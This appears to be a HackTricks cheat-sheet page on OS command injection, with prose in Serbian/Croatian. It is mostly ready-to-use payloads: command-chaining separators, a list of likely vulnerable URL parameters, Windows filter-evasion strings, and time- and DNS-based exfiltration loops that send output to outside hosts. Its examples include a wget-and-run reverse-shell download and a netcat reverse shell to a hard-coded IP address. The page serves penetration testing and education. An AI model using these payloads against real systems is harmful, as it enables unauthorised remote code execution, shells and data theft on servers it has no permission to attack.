hacktricks/pentesting-web/command-injection.md

# Command Injection

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## Šta je command injection?

**Command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.

### Kontekst

U zavisnosti od **gde se vaši unosi ubacuju**, možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre komandi.

## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limitation** Bypasses

Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:**

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

### **Primjeri**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters

Evo 25 najvažnijih parametara koji bi mogli biti podložni kod injekciji i sličnim RCE ranjivostima (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Time based data exfiltration

Ekstrakcija podataka: znak po znak
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration

Na osnovu alata sa `https://github.com/HoLyVieR/dnsbin` koji je takođe hostovan na dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Online alati za proveru DNS zasnovanog exfiltracije podataka:

* dnsbin.zhack.ca
* pingb.in

### Zaobilaženje filtriranja

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}

## Lista za detekciju Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## Reference

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

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